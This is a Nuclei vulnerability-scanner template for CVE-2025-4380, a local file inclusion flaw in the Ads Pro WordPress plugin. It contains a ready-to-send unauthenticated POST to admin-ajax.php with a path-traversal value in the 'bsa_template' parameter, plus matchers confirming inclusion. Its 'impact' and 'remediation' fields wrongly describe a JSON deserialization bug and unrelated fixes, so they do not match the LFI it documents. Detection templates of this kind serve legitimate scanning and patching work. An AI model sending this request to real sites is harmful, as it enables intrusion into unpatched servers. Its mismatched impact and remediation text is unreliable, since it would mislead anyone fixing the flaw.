id: CVE-2025-4380

info:
  name: Ads Pro Plugin <= 4.89 - Local File Inclusion
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
  remediation: |
    Update the Ads Pro Plugin to version later than 4.89. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
  reference:
    - https://wpscan.com/vulnerability/63964564-73e6-45e2-8145-33e2e30d1d57/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4380
  classification:
    epss-score: 0.16513
    epss-percentile: 0.94991
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4380
    cwe-id: CWE-98
    cpe: cpe:2.3:a:scripteo:ads_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: scripteo
    product: ads_pro
    fofa-query: body="/wp-content/plugins/ap-plugin-scripteo"
  tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,scripteo,ads-pro,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bsa_preview_callback&bsa_template=../php/example

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Example PHP Ad')"
          - "contains(content_type, 'text/html')"
          - "status_code == 200"
        condition: and
# digest: 490a0046304402206cb4a22081402fd838e7baa81604e0bf5ca039f92e8e430919150df18d04d34a02203514ea7d863384253b21e731acb8ba55a499e8a9526b0f78c5e2e9cafa3f2f76:922c64590222798bb761d5b6d8e72950